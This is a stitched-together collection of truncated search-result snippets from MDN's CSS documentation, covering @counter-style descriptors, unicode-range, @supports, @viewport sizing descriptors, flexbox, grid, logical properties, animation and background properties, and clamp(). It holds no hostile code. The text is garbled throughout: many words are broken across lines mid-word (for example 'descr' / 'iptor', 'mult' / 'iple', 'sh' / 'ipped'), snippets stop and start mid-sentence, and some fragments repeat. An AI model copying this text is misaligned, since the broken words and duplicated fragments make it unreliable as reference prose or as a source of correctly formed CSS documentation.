iptor is when you need your list to start numbering from 01 and go through 02, 03 and so on, instead of just 1, 2, 3... formal definition related at-rule@counter-styleinitial value0 ""computed valueas specified formal syntax <integer> && <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <grad...
... <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? )<side-or-corner> = [ left | right ] | [ top | bottom ]<color-stop-list> = [ <linear-color-stop> [, <linear-color-hint>]? ]# , <linear-color-stop><ending-shape> = circle | ell
ipse<size> = closest-side | farthest-side | closest-corner | farthest-corner | <length> | <length-percentage>{2}<position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]? | [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<angular-color-stop-list> = [ <ang...
range - CSS: Cascading Style Sheets
for alphabetic and symbolic systems, the range is 1 to positive infinity. ...
... for alphabetic and symbolic systems, the range is 1 to positive infinity. for additive systems, the range is 0 to positive infinity. ...
...s inclusive, that means it always contains both, the lower and upper bound numbers. if infinite is used as the first value in a range, it represents negative infinity; if it is used as the second value, it represents positive infinity. the range of the counter style is the union of all the ranges defined in the list. if the lower bound of any range is higher than the upper bound, the entire descr
iptor is invalid and will be ignored. descr
iption the value of the range descr
iptor can be either auto or a comma separated list of lower and upper bounds specified as integers. if value is auto, then for cyclic, numeric, and fixed system, the range will be from negative infinity to positive infinity. for alphabetic and symbolic systems, range will be from 1 to positive infinity. for additive sy...
symbols - CSS: Cascading Style Sheets
the symbols css descr
iptor is used to specify the symbols that the specified counter system will use to construct counter representations. syntax the symbols descr
iptor is specified as one or more <symbol>s. values <symbol> represents a symbol used within the counter system. this must be one of the following data types: <string> <image> (note: this value is "at risk" and may be removed from the specification. it is not yet implemented.) <custom-ident> descr
iption a symbol can be a string, image, or identifier. it is used within the @counter-style at-rule. ...
...removed from the specification. it is not yet implemented.) <custom-ident> descr
iption a symbol can be a string, image, or identifier. it is used within the @counter-style at-rule. symbols: a b c d e; symbols: "\24b6" "\24b7" "\24b8" d e; symbols: "0" "1" "2" "4" "5" "6" "7" "8" "9"; symbols: url('first.svg') url('second.svg') url('third.svg'); symbols: indic-numbers; the symbols descr
iptor must be specified when the value of the system descr
iptor is cyclic, numeric, alphabetic, symbolic, or fixed. when the additive system is used, use the additive-symbols descr
iptor instead to specify the symbols. formal definition related at-rule@counter-styleinitial valuen/acomputed valueas specified formal syntax <symbol>+where <symbol> = <string> | <image> | <custom-ident>where <image> =...
... <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? )<side-or-corner> = [ left | right ] | [ top | bottom ]<color-stop-list> = [ <linear-color-stop> [, <linear-color-hint>]? ]# , <linear-color-stop><ending-shape> = circle | ell
ipse<size> = closest-side | farthest-side | closest-corner | farthest-corner | <length> | <length-percentage>{2}<position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]? | [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<angular-color-stop-list> = [ <ang...
unicode-range - CSS: Cascading Style Sheets
codepoint range a range of unicode code points. ...
...e doesn't use any character in this range, the font is not downloaded; if it uses at least one, the whole font is downloaded. syntax /* <unicode-range> values */ unicode-range: u+26; /* single codepoint */ unicode-range: u+0-7f; unicode-range: u+0025-00ff; /* codepoint range */ unicode-range: u+4??; /* wildcard range */ unicode-range: u+0025-00ff, u+4??; /* mult
iple values */ values single codepoint a single unicode character code point, for example u+26. codepoint range a range of unicode code points. so for example, u+0025-00ff means include all characters in the range u+0025 to u+00ff. wildcard range a range of unicode code points containing wildcard characters, that is using the '?' character, so for example u+4?? means include all characters...
...oint a single unicode character code point, for example u+26. codepoint range a range of unicode code points. so for example, u+0025-00ff means include all characters in the range u+0025 to u+00ff. wildcard range a range of unicode code points containing wildcard characters, that is using the '?' character, so for example u+4?? means include all characters in the range u+400 to u+4ff. descr
iption the purpose of this descr
iptor is to allow the font resources to be segmented so that a browser only needs to download the font resource needed for the text content of a particular page. for example, a site with many localizations could provide separate font resources for english, greek and japanese. for users viewing the english version of a page, the font resources for greek and japanese f...
@supports - CSS: Cascading Style Sheets
pports css at-rule lets you specify declarations that depend on a browser's support for one or more specific css features. this is called a feature query. the rule may be placed at the top level of your code or nested inside any other conditional group at-rule. @supports (display: grid) { div { display: grid; } } @supports not (display: grid) { div { float: right; } } in javascr
ipt, @supports can be accessed via the css object model interface csssupportsrule. syntax the @supports at-rule associates a block of statements with a supports condition. the supports condition consists of one or more name-value pairs combined by conjunctions (and), disjunctions (or), and/or negations (not). precedence of operators can be defined with parentheses. declaration syntax the most ba...
..., like and and or, the parentheses are required. the and operator the and operator creates a new expression from the conjunction of two shorter expressions. it returns true only if both of the shorter expressions are also true. the following example returns true if and only if the two shorter expressions are simultaneously true: @supports (display: table-cell) and (display: list-item) {} mult
iple conjunctions can be juxtaposed without the need of more parentheses. the following are both equivalent: @supports (display: table-cell) and (display: list-item) and (display:run-in) {} @supports (display: table-cell) and ((display: list-item) and (display:run-in)) {} the or operator the or operator creates a new expression from the disjunction of two shorter expressions. it returns true if o...
...(display: list-item) and (display:run-in)) {} the or operator the or operator creates a new expression from the disjunction of two shorter expressions. it returns true if one or both of the shorter expressions is also true. the following example returns true if at least one of the two shorter expressions is true: @supports (transform-style: preserve) or (-moz-transform-style: preserve) {} mult
iple disjunctions can be juxtaposed without the need of more parentheses. the following are both equivalent: @supports (transform-style: preserve) or (-moz-transform-style: preserve) or (-o-transform-style: preserve) or (-webkit-transform-style: preserve) {} @supports (transform-style: preserve-3d) or ((-moz-transform-style: preserve-3d) or ((-o-transform-style: preserve-3d) or...
height - CSS: Cascading Style Sheets
<length> a non-negative absolute or relative length. <percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively. ...
...th value will set both, the minimum height and the maximum height, to the value provided. if two viewport values are provided, the first value will set the minimum height and the second value will set the maximum height. syntax /* one value */ height: auto; height: 320px; height: 15em; /* two values */ height: 320px 200px; values auto the used value is calculated from the other css descr
iptors' values. <length> a non-negative absolute or relative length. <percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively. must be non-negative. formal definition related at-rule@viewportinitial valueas each of the properties of the shorthand:min-height: automax-height: nonepercentagesas ea...
... working draft initial definition ...
max-height - CSS: Cascading Style Sheets
<length> a non-negative absolute or relative length. <percentage> a percentage value relative to the height of the initial viewport at zoom factor 1.0 for vertical lengths. must be non-negative. ...
...fined via the @viewport at-rule. the height will initially be set as close as possible to the initial viewport height considering the maximum height constraint. syntax /* keyword value */ max-height: auto; /* <length> values */ max-height: 400px; max-height: 50em; max-height: 20cm; /* <percentage> value */ max-height: 75%; values auto the used value is calculated from the other css descr
iptors' values. <length> a non-negative absolute or relative length. <percentage> a percentage value relative to the height of the initial viewport at zoom factor 1.0 for vertical lengths. must be non-negative. formal definition related at-rule@viewportinitial valueautopercentagesrefer to the height of the initial viewportcomputed valueif specified as a length, the corresponding absolute leng...
... working draft initial definition ...
max-width - CSS: Cascading Style Sheets
<length> a non-negative absolute or relative length. <percentage> a percentage value relative to the width of the initial viewport at zoom factor 1.0 for horizontal lengths. must be non-negative. ...
...of a document defined via the @viewport at-rule. by default, the width is set as close as possible to the initial viewport considering the maximum width constraint. syntax /* keyword value */ max-width: auto; /* <length> values */ max-width: 600px; max-width: 80em; max-width: 15cm; /* <percentage> value */ max-width: 75%; values auto the used value is calculated from the other css descr
iptors' values. <length> a non-negative absolute or relative length. <percentage> a percentage value relative to the width of the initial viewport at zoom factor 1.0 for horizontal lengths. must be non-negative. formal definition related at-rule@viewportinitial valueautopercentagesrefer to the width of the initial viewportcomputed valueif specified as a length, the corresponding absolute leng...
... working draft initial definition ...
min-height - CSS: Cascading Style Sheets
<length> a non-negative absolute or relative length. <percentage> a percentage value relative to the height of the initial viewport at zoom factor 1.0 for vertical lengths. must be non-negative. ...
...fined via the @viewport at-rule. the height will initially be set as close as possible to the initial viewport height considering the minimum height constraint. syntax /* keyword value */ min-height: auto; /* <length> values */ min-height: 120px; min-height: 20em; min-height: 10cm; /* <percentage> value */ min-height: 25%; values auto the used value is calculated from the other css descr
iptors' values. <length> a non-negative absolute or relative length. <percentage> a percentage value relative to the height of the initial viewport at zoom factor 1.0 for vertical lengths. must be non-negative. formal definition related at-rule@viewportinitial valueautopercentagesrefer to the height of the initial viewportcomputed valueif specified as a length, the corresponding absolute leng...
... working draft initial definition ...
min-width - CSS: Cascading Style Sheets
<length> a non-negative absolute or relative length. <percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively. must be non-negative. ...
...the viewport of a document defined via @viewport. by default, min-width is set as close as possible to the initial viewport considering the minimum width constraint. syntax /* keyword value */ min-width: auto; /* <length> values */ min-width: 320px; min-width: 40em; min-width: 5cm; /* <percentage> value */ min-width: 25%; values auto the used value is calculated from the other css descr
iptors' values. <length> a non-negative absolute or relative length. <percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively. must be non-negative. formal definition related at-rule@viewportinitial valueautopercentagesrefer to the width of the initial viewportcomputed valueif specified as a le...
... working draft initial definition ...
viewport-fit - CSS: Cascading Style Sheets
the viewport-fit css @viewport descr
iptor controls how a document's viewport fills the screen. syntax /* keyword values */ viewport-fit: auto; viewport-fit: contain; viewport-fit: cover; values auto this value doesn't affect the initial layout viewport, and the whole web page is viewable. contain the viewport is scaled to fit the largest rectangle inscribed within the display. cover the viewport is scaled to fill the device display. it is highly recommended to make use of the safe area inset variables to ensure that important content doesn't end up outside the display. this descr
iptor hasn't been added to https://github.com/mdn/data/blob/master/css/at-rules.json yet. ...
...t rectangle inscribed within the display. cover the viewport is scaled to fill the device display. it is highly recommended to make use of the safe area inset variables to ensure that important content doesn't end up outside the display. this descr
iptor hasn't been added to https://github.com/mdn/data/blob/master/css/at-rules.json yet. accessibility concerns when using the viewport-fit descr
iptor, one must keep in mind that not all device displays are rectangular, and should therefore make use of the safe area inset variables. formal definition related at-rule@viewportinitial valueautocomputed valueas specified formal syntax auto | contain | cover examples scaling viewport to fit device display @viewport { viewport-fit: cover; } specifications specification statu...
...ore make use of the safe area inset variables. formal definition related at-rule@viewportinitial valueautocomputed valueas specified formal syntax auto | contain | cover examples scaling viewport to fit device display @viewport { viewport-fit: cover; } specifications specification status comment css round display level 1the definition of '"viewport-fit" descr
iptor' in that specification. working draft initial definition. ...
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
styles in the css backgrounds and borders module allow filling backgrounds with color or an image (cl
ipped or resized), or modifying them in other ways. these styles can also decorate borders with lines or images, and make them square or rounded. ...
... styles in the css backgrounds and borders module allow filling backgrounds with color or an image (cl
ipped or resized), or modifying them in other ways. these styles can also decorate borders with lines or images, and make them square or rounded. ...
... scaling background images describes how to change the size and repeating behavior of background images. applying color to html elements using css an overview of how css color can be used in html, including for borders. border-image generator this interactive tool lets you visually create border images (the border-imag...
CSS Box Alignment - CSS: Cascading Style Sheets
ng align-items. the first item overrides the align-items set on the group by setting align-self to center. key concepts and terminology the specification details some alignment terminology to make it easier to discuss these alignment properties outside of their implementation within a particular layout method. there are also some key concepts which are common to all layout methods. relationsh
ip to writing modes alignment is linked to writing modes in that when we align an item we do not consider whether we are aligning it to the physical dimensions of top, right, bottom and left. instead we describe alignment in terms of the start and end of the particular dimension we are working with. this ensures that alignment works in the same way whichever writing mode the document has. two dime...
...t is specified individually for each layout method and detailed on the page for that method. types of alignment there are three different types of alignment that the specification details; these use keyword values. positional alignment: specifying the position of an alignment subject with relation to its alignment container. baseline alignment: these keywords define alignment as a relationsh
ip among the baselines of mult
iple alignment subjects within an alignment context. distributed alignment: these keywords define alignment as a distribution of space among alignment subjects. positional alignment keyword values the following values are defined for positional alignment, and can be used as values for content alignment with justify-content and align-content and also for self alignme...
...ion keywords or adding margins to items. ...
Typical use cases of Flexbox - CSS: Cascading Style Sheets
port, the reason you'd choose to use flexbox is because you want to lay a collection of items out in one direction or another. as you lay out your items you want to control the dimensions of the items in that one dimension, or control the spacing between items. these are the uses that flexbox was designed for. you can read more about the difference between flexbox and css grid layout in relationsh
ip of flexbox to other layout methods, where we discuss how flexbox fits into the overall picture of css layout. in reality we also often use flexbox for jobs that might be better done by grid layout, as a fallback for grid, and also in order to get alignment capabilities. this is something that may well change once box alignment is implemented in block layout. in this guide i look at some of the t...
...ailable space in the flex container and pushes the footer to the bottom. if you remove the flex property from the live example you will see how the footer then moves up to sit directly under the content. media objects the media object is a common pattern in web design -- this pattern has an image or other element to one side and text to the right. ideally a media object should be able to be fl
ipped -- moving the image from left to right. we see this pattern everywhere, used for comments, and anywhere we need to display images and descr
iptions. with flexbox we can allow the part of the media object containing the image to take its sizing information from the image, and then the body of the media object flexes to take up the remaining space. in the live example below you can see our medi...
...h the image to flex: 1 and the content side to flex: 3. this will mean they use a flex-basis of 0 but distribute that space at different rates according to the flex-grow factor you have assigned. the flex properties we use to do this are described in detail in the guide controlling ratios of flex items along the main axis. .media .content { flex: 3; padding: 10px; } .image { flex: 1; } fl
ipping the media object to switch the display of the media object so that the image is on the right and the content is on the left we can use the flex-direction property set to row-reverse. the media object now displays the other way around. i have achieved this in the live example by adding a class of fl
ipped alongside the existing .media class. this means you can see how the display changes by re...
CSS Flexible Box Layout - CSS: Cascading Style Sheets
a module of css that defines a css box model optimized for user interface design, and the layout of items in one dimension. in the flex layout model, the children of a flex container can be laid out in any direction, and can "flex" their sizes, either growing to fill unused space or shrinking to avoid overflowing the parent. both horizontal and vertical alignment of the children can be easily man
ipulated. basic example in the following example a container has been set to display: flex, which means that the three child items become flex items. the value of justify-content has been set to space-between in order to space the items out evenly on the main axis. an equal amount of space is placed between each item with the left and right items being flush with the edges of the flex container. y...
...fication for up to date definitions. also additional alignment properties are now defined in box alignment. justify-content align-content align-items align-self place-content place-items row-gap column-gap gap glossary entries flexbox flex container flex item main axis cross axis flex guides basic concepts of flexbox an overview of the features of flexbox relationsh
ip of flexbox to other layout methods how flexbox relates to other layout methods, and other css specifications aligning items in a flex container how the box alignment properties work with flexbox. ordering flex items explaining the different ways to change the order and direction of items, and covering the potential issues in doing so. controlling ratios of flex items along the main axis ex...
...container how the box alignment properties work with flexbox. ordering flex items explaining the different ways to change the order and direction of items, and covering the potential issues in doing so. controlling ratios of flex items along the main axis explaining the flex-grow, flex-shrink and flex-basis properties. mastering wrapping of flex items how to create flex containers with mult
iple lines and control the display of the items in those lines. typical use cases of flexbox common design patterns that are typical flexbox use cases. backwards compatibility of flexbox browser status of flexbox, interoperability issues and supporting older browsers and versions of the spec specifications specification status comment css flexible box layout module...
Basic Concepts of grid layout - CSS: Cascading Style Sheets
a spans two row and two column tracks. gutters gutters or alleys between grid cells can be created using the column-gap and row-gap properties, or the shorthand gap. in the below example, i am creating a 10-pixel gap between columns and a 1em gap between rows. .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); column-gap: 10px; row-gap: 1em; } note: when grid first sh
ipped in browsers the column-gap, row-gap and gap were prefixed with the grid- prefix as grid-column-gap, grid-row-gap and grid-gap respectively. browsers are updating to remove this prefix, however the prefixed versions will be maintained as aliases making them safe to use. at the present time, some browsers do not support the unprefixed versions which is why the live examples in this guide use ...
...ck, however you cannot place anything into a gap. in terms of line-based positioning, the gap acts like a fat line. nesting grids a grid item can become a grid container. in the following example, i have the three-column grid that i created earlier, with our two positioned items. in this case the first item has some sub-items. as these items are not direct children of the grid they do not partic
ipate in grid layout and so display in a normal document flow. <div class="wrapper"> <div class="box box1"> <div class="nested">a</div> <div class="nested">b</div> <div class="nested">c</div> </div> <div class="box box2">two</div> <div class="box box3">three</div> <div class="box box4">four</div> <div class="box box5">five</div> </div> if i set box1 to display: grid i c...
...round-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); } .box { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .box1 { grid-column: 1 / 4; } .nested { border: 2px solid #ffec99; border-radius: 5px; background-color: #fff9db; padding: 1em; } in this case the nested grid has no relationsh
ip to the parent. as you can see in the example it has not inherited the grid-gap of the parent and the lines in the nested grid do not align to the lines in the parent grid. subgrid in the working draft of the level 2 grid specification there is a feature called subgrid, which would let us create nested grids that use the track definition of the parent grid. note: this feature sh
ipped in firefo...
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
line and margin-block, which accept two values. the first value will apply to the start of that dimension, the second to the end. if you only use one value it is applied to both. in a horizontal writing mode this css would apply a 5px margin to the top of the box and a 10px margin to the bottom. .box { margin-block: 5px 10px; } note: the shorthand properties margin-inline and margin-block sh
ipped in firefox 66. as these are new properties check browser support before using. padding examples the mapped padding properties of padding-inline-start, padding-inline-end, padding-block-start, and padding-inline-end can be used instead of their physical counterparts. in the example below i have two boxes, one of which is using physical padding properties and the other logical padding proper...
...e are two-value shorthands for padding -- padding-inline and padding-block -- which allow you to set the padding of the two inline, and two block dimensions, respectively. in a horizontal writing-mode this css would apply 5px of padding to the top of the box and 10px of padding to the bottom: .box { padding-block: 5px 10px; } note: the shorthand properties padding-inline and padding-block sh
ipped in firefox 66. as these are new properties check browser support before using. border examples the border properties are the main reason that logical properties and values seems to have so many properties, as we have the longhands for the color, width, and style of the border on each side of a box, along with the shorthand to set all three at once for each side. as with margin and padding w...
...l three values in the block or inline dimension. the below code, in a horizontal writing mode, would give you a 2px green solid border on the top and bottom of the box, and a 4px dotted purple border on the left and right. .box { border-block: 2px solid green; border-inline-width: 4px; border-inline-style: dotted; border-inline-color: rebeccapurple; } note: these two value shorthands sh
ipped in firefox 66, check browser support before using as other browsers may not have implemented them yet. flow relative border-radius properties the specification has fairly recently added flow-relative values for the border-radius longhands. these have not yet been implemented by any browser. the below example, in a horizontal writing-mode, would set the top-right border radius to 1em, the bo...
CSS Properties Reference - CSS: Cascading Style Sheets
common css properties reference the following is a basic list of the most common css properties with the equivalent of the dom notation which is usually accessed from javascr
ipt: note: this list is incomplete. for more css properties see the main css reference and mozilla css extensions. the reference articles also include examples on how to use all the properties. ...
... common css properties reference the following is a basic list of the most common css properties with the equivalent of the dom notation which is usually accessed from javascr
ipt: note: this list is incomplete. for more css properties see the main css reference and mozilla css extensions. the reference articles also include examples on how to use all the properties. ...
...ght-color borderrightcolor border-right-style borderrightstyle border-right-width borderrightwidth border-style borderstyle border-top bordertop border-top-color bordertopcolor border-top-style bordertopstyle border-top-width bordertopwidth border-width borderwidth clear clear cl
ip cl
ip color color cursor cursor display display filter filter float cssfloat font font font-family fontfamily font-size fontsize font-variant fontvariant font-weight fontweight height height left left letter-spacing letterspacing li...
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
d proportionless. it doesn't care what size it is, nor does it care about remaining at a particular aspect ratio. this would make a good gradient desktop background that would work regardless of your screen size and its aspect ratio. svg source one specified dimension and proportionless this image specifies a width of 100 pixels but no height or intrinsic ratio. this is, basically, a thin str
ip of wallpaper that could be stretched across the entire height of a block. svg source one specified dimension with intrinsic ratio this image specifies a 100 pixel height but no width. it also specifies an intrinsic aspect ratio of 3:4. this ensures that its width:height ratio is always 3:4, unless it's deliberately scaled to a disproportionate size (that is, by explicitly specifying both wid...
...eight with intrinsic ratio given this css: background: url(no-dimensions-1x1-ratio.svg); background-size: 250px 100px; the rendered output would look like this: using contain or cover specifying cover for background-size makes the picture as small as possible while still covering the entire background area. contain, on the other hand, makes the image as large as possible while not being cl
ipped by the background area. for an image with an intrinsic ratio, exactly one size matches the cover/fit criteria alone. but if there is no intrinsic ratio specified, cover/fit isn't sufficient, so the large/small constraints choose the resulting size. source: no dimensions or intrinsic ratio if an image doesn't specify either dimensions or an intrinsic ratio, neither rule 2 nor rule 3 apply, s...
...ve any intrinsic ratio (while respecting contain or cover). for example, preserving a 3:4 intrinsic aspect ratio for a 300x200 box with contain means drawing a 150x200 background. contain case background: url(100px-height-3x4-ratio.svg); background-size: contain; the rendered output looks like this: notice how the entire image is rendered, fitting as best as possible into the box without cl
ipping any of it away. cover case background: url(100px-height-3x4-ratio.svg); background-size: cover; the rendered output looks like this: here, the 3:4 ratio is preserved while still stretching the image to fill the entire box. that causes the bottom of the image to be cl
ipped away. source: no dimensions with intrinsic ratio when using an image with no intrinsic dimensions but an intrinsi...
CSS Tutorials - CSS: Cascading Style Sheets
learning css may be a daunting task. in order to help you, we have written numerous tutorials about css. some are aimed at complete beginners, while others present complex features to be used by more experienced users. this page lists them all, with a short descr
iption. they are grouped by complexity so that you can choose the most appropriate for your level. editor's note: we should look at using "difficulty level" tags on the tutorial/guide pages so that difficulty-based lists can be automatically built. ...
... should look at using "difficulty level" tags on the tutorial/guide pages so that difficulty-based lists can be automatically built. beginner-level css tutorials getting started this guide is aimed at complete beginners: you haven't written one single line of css? -- this is for you. it explains the fundamental concepts of the language and guides you in writing basic stylesheets. using mult
iple backgrounds backgrounds are fundamental for nice styling: css allows you to set several of them on each box. this tutorial explains how they interact and how to achieve nice effects. scaling background images css allows you to resize images used as an element's background. this tutorial describes how to achieve this in a simple way. media queries the size of the screens, or the kind of dev...
...allowed in css: linear or radial, repeating or not. this tutorial describes how to use them. advanced-level css tutorials css also got new features allowing you to create complex layouts. though the simplest way to achieve such layout, they are more complex to use for people without too much experience. css multi-column layouts css3 introduces a new layout allowing you to easily define mult
iple columns in an element. though multi-column text is not that common on devices like screens, this is particularly useful on printed pages, or for indexes. css flexible boxes layouts this new layout allow you to give boxes flexibility, allowing them to be resized smoothly. it is a powerful way to describe complex interfaces. ...
animation-iteration-count - CSS: Cascading Style Sheets
the animation-iteration-count css property sets the number of times an animation sequence should be played before stopping. if mult
iple values are specified, each time the animation is played the next value in the list is used, cycling back to the first value after the last one is used. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. ...
...to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. syntax /* keyword value */ animation-iteration-count: infinite; /* <number> values */ animation-iteration-count: 3; animation-iteration-count: 2.4; /* mult
iple values */ animation-iteration-count: 2, 0, infinite; the animation-iteration-count property is specified as one or more comma-separated values. values infinite the animation will repeat forever. <number> the number of times the animation will repeat; this is 1 by default. you may specify non-integer values to play part of an animation cycle: for example, 0.5 will play half of the animat...
...-iteration-count property is specified as one or more comma-separated values. values infinite the animation will repeat forever. <number> the number of times the animation will repeat; this is 1 by default. you may specify non-integer values to play part of an animation cycle: for example, 0.5 will play half of the animation cycle. negative values are invalid. note: when you specify mult
iple values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are. for more information, see setting mult
iple animation property values. formal definition initial value1applies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete form...
animation-timing-function - CSS: Cascading Style Sheets
if no animation-timing-function is specified on a keyframe, the corresponding value of animatio...
...no jump on either end. instead, holding at both the 0% mark and the 100% mark, each for 1/n of the duration. jump-both includes pauses at both the 0% and 100% marks, effectively adding a step during the animation iteration. start same as jump-start. end same as jump-end. step-start equal to steps(1, jump-start) step-end equal to steps(1, jump-end) note: when you specify mult
iple comma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are. for more information, see setting mult
iple animation property values. formal definition initial valueeaseapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation...
...eritednocomputed valueas specifiedanimation typediscrete formal syntax <timing-function>#where <timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-start | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none |...
animation - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function syntax ...
...ationstart', function () { togglebutton(button[index], 'pause'); }); node.addeventlistener('animationend', function () { togglebutton(button[index], 'restart'); }); }); button.foreach(function (btn, index) { btn.addeventlistener('click', function () { playpause(index); }); }); }) a descr
iption of which properties are animatable is available; it's worth noting that this descr
iption is also valid for css transitions. constituent properties this property is a shorthand for the following css properties: animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function syntax the animation property is specified as one or more single animations, separated by commas...
...nate | alternate-reverse<single-animation-fill-mode> = none | forwards | backwards | both<single-animation-play-state> = running | paused<keyframes-name> = <custom-ident> | <string>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-start | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none |...
background-attachment - CSS: Cascading Style Sheets
*/ background-attachment: inherit; background-attachment: initial; background-attachment: unset; the background-attachment property is specified as one of the keyword values from the list below. values fixed the background is fixed relative to the viewport. even if an element has a scrolling mechanism, the background doesn't move with the element. (this is not compatible with background-cl
ip: text.) local the background is fixed relative to the element's contents. if the element has a scrolling mechanism, the background scrolls with the element's contents, and the background painting area and background positioning area are relative to the scrollable area of the element rather than to the border framing them. scroll the background is fixed relative to the element itself and does ...
...ple html <p> there were doors all round the hall, but they were all locked; and when alice had been all the way down one side and up the other, trying every door, she walked sadly down the middle, wondering how she was ever to get out again. </p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); background-attachment: fixed; } result mult
iple background images this property supports mult
iple background images. you can specify a different <attachment> for each background, separated by commas. each image is matched with the corresponding attachment type, from first specified to last. html <p> there were doors all round the hall, but they were all locked; and when alice had been all the way down one side and up the other, trying...
...rg/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-attachment' in that specification. candidate recommendation the shorthand property has been extended to support mult
iple backgrounds and the local value. css level 2 (revision 1)the definition of 'background-attachment' in that specification. recommendation no significant change. css level 1the definition of 'background-attachment' in that specification. recommendation no significant change. ...
background-color - CSS: Cascading Style Sheets
, <alpha-value>? )<hsl()> = hsl( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
box-decoration-break - CSS: Cascading Style Sheets
the box-decoration-break css property specifies how an element's fragments should be rendered when broken across mult
iple lines, columns, or pages. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...en across mult
iple lines, columns, or pages. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the specified value will impact the appearance of the following properties: background border border-image box-shadow cl
ip-path margin padding syntax /* keyword values */ box-decoration-break: slice; box-decoration-break: clone; /* global values */ box-decoration-break: initial; box-decoration-break: inherit; box-decoration-break: unset; the box-decoration-break property is specified as one of the keyword values listed below. values slice the element is initially rendered as if its box were not fragmente...
...ecification for details. clone each box fragment is rendered independently with the specified border, padding, and margin wrapping each fragment. the border-radius, border-image, and box-shadow are applied to each fragment independently. the background is also drawn independently for each fragment, which means that a background image with background-repeat: no-repeat may nevertheless repeat mult
iple times. formal definition initial valuesliceapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax slice | clone examples inline box fragments an inline element that contains line breaks styled with: .example { background: linear-gradient(to bottom right, yellow, green); box-shadow: 8px 8px 10px 0px deeppink, -5px -5px 5px 0px blue, ...
clamp() - CSS: Cascading Style Sheets
value to which the value of the property will be assigned if the preferred value is greater than this upper bound. the expressions can be math functions (see calc() for more information), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>), or nested min() and max() functions. as math expressions, so you can use addition, subtraction, mult
iplication and division without using the calc() function itself. you may also use parentheses to establish computation order when needed. you can use different units for each value in your expressions, and different units in any math function making up any of the arguments. notes math expressions involving percentages for widths and heights on table columns, table column groups, table rows, ta...
